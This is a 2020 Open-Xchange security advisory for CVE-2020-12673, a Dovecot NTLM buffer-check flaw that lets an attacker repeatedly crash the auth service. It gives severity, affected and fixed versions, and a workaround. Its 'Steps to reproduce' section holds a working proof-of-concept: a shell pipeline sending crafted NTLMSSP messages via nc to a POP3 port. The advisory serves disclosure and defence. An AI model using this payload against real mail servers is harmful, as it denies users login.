CVE-2020-12673: Specially crafted NTML package can crash auth service

[Aki Tuomi]

Open-Xchange Security Advisory 2020-08-12

Affected product: Dovecot IMAP server
Internal reference: DOP-1870 (Bug ID)
Vulnerability type: CWE-789 (Uncontrolled Memory Allocation)
Vulnerable version: 2.2
Vulnerable component: auth
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-05-03
CVE reference: CVE-2020-12673
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerability Details:
Dovecot's NTLM implementation does not correctly check message buffer
size, which leads to reading past allocation which can lead to crash.

Risk:
An adversary can use this vulnerability to crash dovecot auth process
repeatedly, preventing login.

Steps to reproduce:
(echo 'AUTH NTLM'; echo -ne
'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
| \
base64 -w0 ;echo ;echo -ne
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|
\
base64 -w0;echo ; echo QUIT)  | nc 127.0.0.1 110

Workaround:
Disable NTLM authentication.

Solution:
Upgrade to fixed version.

Best regards,
Aki Tuomi
Open-Xchange oy


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